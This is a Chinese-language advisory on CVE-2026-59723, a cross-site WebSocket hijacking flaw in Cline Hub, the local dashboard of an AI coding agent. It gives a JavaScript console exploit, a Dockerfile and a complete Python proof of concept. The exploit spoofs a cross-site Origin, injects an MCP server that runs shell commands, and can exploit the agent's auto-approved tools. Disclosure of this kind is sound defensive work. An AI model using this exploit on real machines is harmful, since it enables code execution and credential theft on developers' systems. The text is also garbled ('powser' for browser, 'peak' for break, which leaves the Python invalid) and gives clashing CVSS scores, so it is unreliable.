首页 网络安全 正文

Cline Hub仪表盘跨域WebSocket劫持CVE-2026-59723

摘要

栋科技漏洞库关注到 Cline Hub 仪表盘跨域 WebSocket 劫持漏洞,该漏洞现已被追踪为CVE-2026-59723,漏洞的CVSS 3.X评分8.8。

Cline 开源本地 AI 编程智能体(AI Coding Agent)支持 VSCode 插件、终端 CLI、SDK,Cline Hub Dashboard 是配套本地后台服务。

一、基本情况

Cline Hub 仪表盘可集中查看所有 Cline 运行任务、会话记录、执行日志,监控 AI 代理的运行状态,支持后台长时间挂机运行 AI 任务。

Cline Hub仪表盘跨域WebSocket劫持CVE-2026-59723

Cline Hub 仪表盘可以可视化配置 AI 与扩展能力,统一管理各大 AI 模型服务商密钥(OpenAI、Claude、Gemini、本地 Ollama 等)。

栋科技漏洞库关注到 Cline Hub 仪表盘跨域 WebSocket 劫持漏洞,该漏洞现已被追踪为CVE-2026-59723,漏洞的CVSS 3.X评分8.8。

二、漏洞分析

CVE-2026-59723安全漏洞是Cline Hub控制面板(/powser接口)中存在的一个跨域 WebSocket 高危劫持漏洞,漏洞的潜在风险极高。

该漏洞源于通过 cline dashboard 命令启动的Cline Hub控制面板服务,其 /powser 接口接收 WebSocket 连接时未校验 HTTP 源头部。

具体来说,Cline Hub 仪表盘作为 Cline CLI 的本地 WebSocket 代理服务,

其 /powser 端点在 ROOM_SECRET 未设置的默认本地配置下既不校验 HTTP Origin 头也不校验 Host 头,

导致任意网站可在用户浏览器内跨源打开 ws://127.0.0.1:8787/powser ,

并通过 desktopCommand 帧读取工作区状态、篡改 MCP 与 provider 配置,

在配置了 provider 或 model 的情况下进一步触发本地任意命令执行。

这就意味着本地绑定(127.0.0.1)默认未配置ROOM_SECRET密钥,鉴权函数isAuthorizedpowserRequest()会直接返回真值,

开发者访问的任意外部网站均可跨域建立ws://127.0.0.1:8787/powser WebSocket连接。

简而言之,由于 apps/cline-hub/src/server.ts 中 isAuthorizedpowserRequest() 在 ROOM_SECRET 为 undefined 时无条件返回 true,

/powser 路径的 WebSocket 升级也未读取或校验 Origin 头,导致跨源桌面连接可直接进入 desktopCommand 处理流程,

攻击者通过 upsert_mcp_server 等 desktopCommand 帧,

向 $CLINE_DATA_DIR/settings/cline_mcp_settings.json 写入任意 stdio MCP 项,并在 MCP 重新激活时执行任意命令。

攻击者控制的页面可发送桌面指令帧读取工作区、会话状态,篡改MCP与服务提供程序配置;

且控制面板会话默认开启工具自动授权,配置对应模型/服务后可触发任意命令执行。

实测验证:注入upsert_mcp_server帧可向受害者Cline配置文件写入恶意标准输入输出MCP服务项,服务返回正常响应。

(一)漏洞代码链路分布于apps/cline-hub项目多个文件。

本地绑定模式默认无密钥

apps/cline-hub/src/options.ts第54至57行代码会将空ROOM_SECRET环境变量转为未定义状态:

// apps/cline-hub/src/options.ts:54
function normalizeRoomSecret(value: string | undefined): string | undefined {
    const secret = value?.trim();
    return secret ? secret : undefined;
}

 

apps/cline-hub/src/options.ts第67至85行允许本地默认地址127.0.0.1无密钥启动,默认配置下会话密钥保持未定义状态。

(二)鉴权绕过——未校验源头部

apps/cline-hub/src/server.ts第61至64行在会话密钥未定义时直接跳过全部鉴权逻辑,全程未对HTTP源头部做校验:

// apps/cline-hub/src/server.ts:61
function isAuthorizedpowserRequest(url: URL): boolean {
    if (!roomSecret) return true;
    return url.searchParams.get("roomSecret") === roomSecret;
}

 

(三)WebSocket升级流程未校验源头部

apps/cline-hub/src/server.ts第86至97行,对所有访问/powser的请求直接升级WebSocket连接,未核查源头部字段:

// apps/cline-hub/src/server.ts:86
if (url.pathname === "/powser") {
    if (!isAuthorizedpowserRequest(url)) {
        return createJsonResponse({ error: "invalid_room_secret" }, 401);
    }
    if (server.upgrade(req, { data })) return undefined;
}

 

浏览器对请求、异步请求实施同源策略,但WebSocket连接不受该限制;

请求虽携带源头部,校验工作完全交由服务端处理。该服务忽略源头部校验,任意跨域JavaScript均可建立连接。

(四)控制面板会话工具自动授权策略

apps/cline-hub/src/server/sessions.ts第129至133行,为新建控制面板会话默认启用全部工具自动授权:

// apps/cline-hub/src/server/sessions.ts:129
toolPolicies:
    options?.autoApproveTools === false
        ? { "*": { autoApprove: false } }
        : { "*": { autoApprove: true } },

 

(五)MCP配置写入风险点

apps/cline-hub/src/server/desktop-commands.ts第180至185行处理upsert_mcp_server指令时无额外鉴权;

apps/cline-hub/src/server/mcp.ts第101至136行,

可向$CLINE_DATA_DIR/settings/cline_mcp_settings.json写入任意标准输入输出命令配置,

Cline下次启动对应MCP服务时将执行该命令。

三、POC概念验证

(一)前置条件

全局安装cline 3.0.24版本

与受害者同一主机运行浏览器(或任意WebSocket客户端)

1、环境部署步骤

npm i -g cline@3.0.24

export CLINE_DATA_DIR="$(mktemp -d)"

cline dashboard --no-open

# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset

2、漏洞利用(任意跨域页面浏览器控制台)

在浏览器打开非Cline站点,控制面板服务运行时将以下代码粘贴至开发者工具控制台:

const ws = new WebSocket("ws://127.0.0.1:8787/powser");
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: "desktopCommand",
    id: "poc-mcp-write",
    command: "upsert_mcp_server",
    args: {
      input: {
        name: "poc-cswsh",
        transportType: "stdio",
        command: "sh",
        args: ["-c", "touch /tmp/cline-hub-cswsh-poc"],
        disabled: false
      }
    }
  }));
};
ws.onmessage = (e) => console.log(e.data);

 

3、预期效果

服务端接受WebSocket连接,未拦截源头部。

服务返回{"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}。

$CLINE_DATA_DIR/settings/cline_mcp_settings.json写入恶意poc-cswsh标准输入输出MCP服务配置,指向sh -c命令。

Cline下次建立MCP连接时,注入的Shell命令将以受害者用户权限执行。

4、基于Docker的动态复现方案

docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/

docker run --rm cswsh-poc-vuln001

# Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED

Python验证脚本(poc.py)携带恶意源头Origin: http://evil.attacker.example.com连接ws://127.0.0.1:8787/powser,

发送upsert_mcp_server指令帧,校验服务返回ok:true响应并确认配置文件写入恶意MCP项,动态测试三项验证全部通过。

远程代码执行变种(需受害者配置可用AI服务)

若受害者已配置正常AI服务,发送type为send的指令帧,利用默认开启的工具自动授权,附带执行Shell命令的任务提示;

控制面板会话默认全部工具自动放行,不会弹出确认弹窗。

(二)漏洞危害

开发者使用默认本地配置运行cline dashboard时,访问任意恶意网站均可被攻击者实现以下操作:

1、通过WebSocket协议读取会话元数据、工作区状态、AI服务配置信息;

2、向cline_mcp_settings.json写入任意MCP服务配置(含携带自定义Shell指令的标准输入输出类型),

Cline启动MCP服务时触发持久化代码执行;

3、操控在线Cline代理会话,依托自动授权权限读写本地文件、执行系统命令、发起网络请求;

4、窃取开发者环境变量或Cline配置内存储的凭证、API密钥。

攻击仅需受害者启动控制面板(默认一键开启功能)并访问攻击者网页,无需鉴权、无需受害者额外交互、无需获取密钥。

攻击范围限于开发者本地主机与Cline数据目录,注入MCP服务或代理执行命令可实现横向渗透与供应链攻击。

(三)复现资源

1、Dockerfile文件

# VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
# CVE candidate: CWE-346 (Origin Validation Error)
#
# This Dockerfile builds a container that:
#  1. Installs the Bun runtime and SDK workspace dependencies
#  2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages
#  3. Installs Python 3 + websockets lipary for the PoC script
#  4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted)
#  5. Runs poc.py which connects with a cross-origin Origin header and
#     injects an arbitrary MCP server entry into the user's settings file

FROM oven/bun:1.3

# ── System packages ──────────────────────────────────────────────────────────
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        python3 python3-pip curl && \
    rm -rf /var/lib/apt/lists/*

# Install Python websockets lipary for the PoC
RUN pip3 install websockets --peak-system-packages

# ── Copy source ───────────────────────────────────────────────────────────────
WORKDIR /app

# Copy the cloned repository (build context = npmAI_11_cline__cline/)
COPY repo/ ./repo/

# Copy the PoC script
COPY vuln-001/poc.py ./poc.py

# ── Install workspace dependencies ────────────────────────────────────────────
WORKDIR /app/repo
RUN bun install

# ── Build SDK packages (required: dist/ exports for @cline/core et al.) ──────
# Build order: shared → llms → agents → core
RUN bun run --cwd sdk/packages/shared build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/llms    build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/agents  build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/core    build 2>&1 | tail -3

# ── Runtime environment ───────────────────────────────────────────────────────
ENV CLINE_DATA_DIR=/tmp/cline-poc-data
ENV WORKSPACE_ROOT=/tmp/workspace
ENV CLINE_NO_INTERACTIVE=1

RUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace

WORKDIR /app

# poc.py starts the dashboard server internally, runs the exploit, and exits
CMD ["python3", "/app/poc.py"]

 

2、poc.py

#!/usr/bin/env python3
"""
VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
CWE-346 — Origin Validation Error
CVSSv3.1: 9.6 (Critical) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Vulnerability path:
  apps/cline-hub/src/server.ts:61-64  isAuthorizedpowserRequest() returns
    true unconditionally when roomSecret is undefined (no ROOM_SECRET env var).
  apps/cline-hub/src/server.ts:86-97  /powser WebSocket upgrade: no Origin
    header validation is performed before accepting the connection.

Attack scenario:
  A developer is running `cline dashboard` on localhost:8787 (default, no secret).
  Any website they visit can open a cross-origin WebSocket to the dashboard,
  send a desktopCommand/upsert_mcp_server frame, and inject an arbitrary stdio
  MCP server entry into the user's Cline settings file.

PoC steps:
  1. Start the cline-hub dashboard server (no ROOM_SECRET → roomSecret=undefined).
  2. Connect to ws://127.0.0.1:8787/powser with Origin: http://evil.attacker.example.com
     (simulating a cross-origin powser page).
  3. Send a desktopCommand frame: upsert_mcp_server with a marker command.
  4. Assert the server returns desktopCommandResult { ok: true }.
  5. Read $CLINE_DATA_DIR/settings/cline_mcp_settings.json and confirm the
     injected MCP server entry is present.

Usage (inside Docker container):
  python3 /app/poc.py
"""

import asyncio
import json
import os
import subprocess
import sys
import time
import urllib.request
import urllib.error

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
REPO_ROOT      = "/app/repo"
SERVER_HOST    = "127.0.0.1"
SERVER_PORT    = 8787
SERVER_HTTP    = f"http://{SERVER_HOST}:{SERVER_PORT}"
SERVER_WS      = f"ws://{SERVER_HOST}:{SERVER_PORT}/powser"

# Simulated attacker origin — a cross-origin value that a real powser would
# send when JavaScript on http://evil.attacker.example.com opens the WebSocket.
ATTACK_ORIGIN  = "http://evil.attacker.example.com"

# Injected MCP server payload
MCP_NAME       = "poc-cswsh-marker"
MCP_CMD        = "sh"
MCP_ARGS       = ["-c", "id > /tmp/cline-hub-cswsh-poc.txt && echo CSWSH_SUCCESS"]

CLINE_DATA_DIR = os.environ.get("CLINE_DATA_DIR", "/tmp/cline-poc-data")
MCP_SETTINGS   = os.path.join(CLINE_DATA_DIR, "settings", "cline_mcp_settings.json")

# ---------------------------------------------------------------------------
# Server startup helpers
# ---------------------------------------------------------------------------

def start_server() -> subprocess.Popen:
    """Spawn the cline-hub dashboard server as a background process."""
    print("[*] Starting cline-hub dashboard server (no ROOM_SECRET) ...")
    env = {
        **os.environ,
        "CLINE_DATA_DIR": CLINE_DATA_DIR,
        "WORKSPACE_ROOT": os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"),
        "CLINE_NO_INTERACTIVE": "1",
    }
    proc = subprocess.Popen(
        [
            "bun",
            "--conditions=development",
            "run",
            "apps/cline-hub/src/server.ts",
        ],
        cwd=REPO_ROOT,
        env=env,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    print(f"[*] Server PID: {proc.pid}")
    return proc

def wait_for_server(timeout_secs: int = 120) -> bool:
    """Poll the /health endpoint until the server responds or timeout expires."""
    print(f"[*] Waiting for server at {SERVER_HTTP}/health (timeout={timeout_secs}s) ...")
    deadline = time.time() + timeout_secs
    last_err = ""
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(
                f"{SERVER_HTTP}/health", timeout=3
            ) as resp:
                if resp.status == 200:
                    data = json.loads(resp.read())
                    print(f"[+] Server is up. Health: {json.dumps(data)[:200]}")
                    return True
        except Exception as exc:
            last_err = str(exc)
        time.sleep(2)
    print(f"[-] Server did not become ready within {timeout_secs}s. Last error: {last_err}")
    return False

def drain_server_output(proc: subprocess.Popen, lines: int = 30) -> str:
    """Collect recent server stdout/stderr for diagnostic purposes."""
    collected = []
    try:
        import select
        while True:
            r, _, _ = select.select([proc.stdout], [], [], 0)
            if not r:
                peak
            line = proc.stdout.readline()
            if not line:
                peak
            collected.append(line.rstrip())
    except Exception:
        pass
    return "\n".join(collected[-lines:])

# ---------------------------------------------------------------------------
# WebSocket exploit
# ---------------------------------------------------------------------------

async def run_exploit() -> dict:
    """
    Connect to the dashboard WebSocket with a cross-origin Origin header,
    send upsert_mcp_server, and return a result dict with evidence.
    """
    # Import websockets — handle both legacy (<12) and current (>=12) API
    try:
        from websockets.asyncio.client import connect as ws_connect
    except ImportError:
        from websockets import connect as ws_connect  # type: ignore[no-redef]

    result = {
        "connect_accepted": False,
        "command_ok": False,
        "mcp_settings_written": False,
        "response_raw": "",
        "mcp_settings_content": "",
        "error": "",
    }

    print(f"[*] Connecting to {SERVER_WS}")
    print(f"[*] Using cross-origin header: Origin: {ATTACK_ORIGIN}")

    try:
        async with ws_connect(
            SERVER_WS,
            additional_headers={"Origin": ATTACK_ORIGIN},
            open_timeout=15,
        ) as ws:
            result["connect_accepted"] = True
            print(f"[+] WebSocket connection ACCEPTED with Origin: {ATTACK_ORIGIN}")
            print("[*] Server performed no Origin validation — CSWSH confirmed at connection level")

            # Build the attack frame: inject an arbitrary stdio MCP server
            attack_frame = {
                "type": "desktopCommand",
                "id": "poc-cswsh-001",
                "command": "upsert_mcp_server",
                "args": {
                    "input": {
                        "name": MCP_NAME,
                        "transportType": "stdio",
                        "command": MCP_CMD,
                        "args": MCP_ARGS,
                        "disabled": False,
                    }
                },
            }

            print(f"[*] Sending desktopCommand: upsert_mcp_server → {MCP_NAME}")
            await ws.send(json.dumps(attack_frame))

            # Collect responses until we see our desktopCommandResult
            deadline = asyncio.get_event_loop().time() + 30
            while asyncio.get_event_loop().time() < deadline:
                try:
                    raw = await asyncio.wait_for(ws.recv(), timeout=5)
                    result["response_raw"] = raw
                    frame = json.loads(raw)
                    if frame.get("type") == "desktopCommandResult" and frame.get("id") == "poc-cswsh-001":
                        if frame.get("ok") is True:
                            result["command_ok"] = True
                            print(f"[+] desktopCommandResult received: ok=true")
                        else:
                            print(f"[-] desktopCommandResult received but ok=false: {raw[:300]}")
                        peak
                    # Ignore state-sync / status frames
                    print(f"[.] Received frame type={frame.get('type')} (waiting for result ...)")
                except asyncio.TimeoutError:
                    print("[.] Waiting for desktopCommandResult ...")
                    continue

    except Exception as exc:
        result["error"] = str(exc)
        print(f"[-] WebSocket error: {exc}")

    return result

def verify_mcp_settings() -> dict:
    """Read the MCP settings file and confirm the injected entry is present."""
    print(f"[*] Checking MCP settings file: {MCP_SETTINGS}")
    if not os.path.exists(MCP_SETTINGS):
        print(f"[-] MCP settings file does not exist: {MCP_SETTINGS}")
        return {"exists": False, "content": ""}

    with open(MCP_SETTINGS) as fh:
        content = fh.read()
    print(f"[+] MCP settings file content:\n{content}")

    try:
        data = json.loads(content)
        servers = data.get("mcpServers", {})
        if MCP_NAME in servers:
            print(f"[+] INJECTED MCP server '{MCP_NAME}' found in settings!")
            print(f"    Entry: {json.dumps(servers[MCP_NAME], indent=4)}")
            return {"exists": True, "content": content, "injected": True}
        else:
            print(f"[-] Injected server '{MCP_NAME}' NOT found in settings.")
            print(f"    Available servers: {list(servers.keys())}")
            return {"exists": True, "content": content, "injected": False}
    except json.JSONDecodeError as exc:
        return {"exists": True, "content": content, "injected": False, "parse_error": str(exc)}

# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main() -> int:
    print("=" * 70)
    print("VULN-001: Cross-Origin WebSocket Hijacking — Dynamic PoC")
    print("CWE-346  CVSS 9.6 (Critical)")
    print("=" * 70)

    os.makedirs(os.path.join(CLINE_DATA_DIR, "settings"), exist_ok=True)
    os.makedirs(os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"), exist_ok=True)

    server_proc = start_server()

    try:
        ready = wait_for_server(timeout_secs=120)
        if not ready:
            server_log = drain_server_output(server_proc)
            print(f"\n[!] Server startup log:\n{server_log}")
            print("\n[RESULT] FAIL — server did not start within timeout")
            return 1

        exploit_result = asyncio.run(run_exploit())

        mcp_result = verify_mcp_settings()

        print("\n" + "=" * 70)
        print("RESULTS")
        print("=" * 70)
        print(f"  WebSocket accepted cross-origin connection : {exploit_result['connect_accepted']}")
        print(f"  upsert_mcp_server returned ok=true        : {exploit_result['command_ok']}")
        print(f"  Injected entry present in MCP settings    : {mcp_result.get('injected', False)}")

        passed = (
            exploit_result["connect_accepted"]
            and exploit_result["command_ok"]
            and mcp_result.get("injected", False)
        )

        if passed:
            print("\n[RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED")
            print("  A page at http://evil.attacker.example.com connected to")
            print(f"  {SERVER_WS} without any Origin rejection,")
            print(f"  and injected MCP server '{MCP_NAME}' into the user's settings.")
            return 0
        else:
            print("\n[RESULT] FAIL — Could not fully confirm all exploit steps")
            if exploit_result.get("error"):
                print(f"  Error: {exploit_result['error']}")
            return 1

    finally:
        print("\n[*] Stopping server ...")
        server_proc.terminate()
        try:
            server_proc.wait(timeout=5)
        except subprocess.TimeoutExpired:
            server_proc.kill()

if __name__ == "__main__":
    sys.exit(main())

 

修复版本中通过 commit d09270940f5746f288cfc4a5039b46a2f4d5d01e(PR #11724,发布于 cli-v3.0.30)

新增 apps/cline-hub/src/server/powser-auth.ts 模块,

在 server.ts 的 fetch 入口调用 isAuthorizedpowserToDesktopRequest 对 Host 与 Origin 进行白名单比对,

并对未配置 ROOM_SECRET 的非本地绑定强制要求 secret,从而在 WebSocket 升级之前直接拒绝跨源 /powser 请求,

切断跨源 desktopCommand 注入到本地命令执行的因果链。

四、影响范围

Cline Hub <= 3.0.24

五、修复建议

Cline Hub > 3.0.30

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接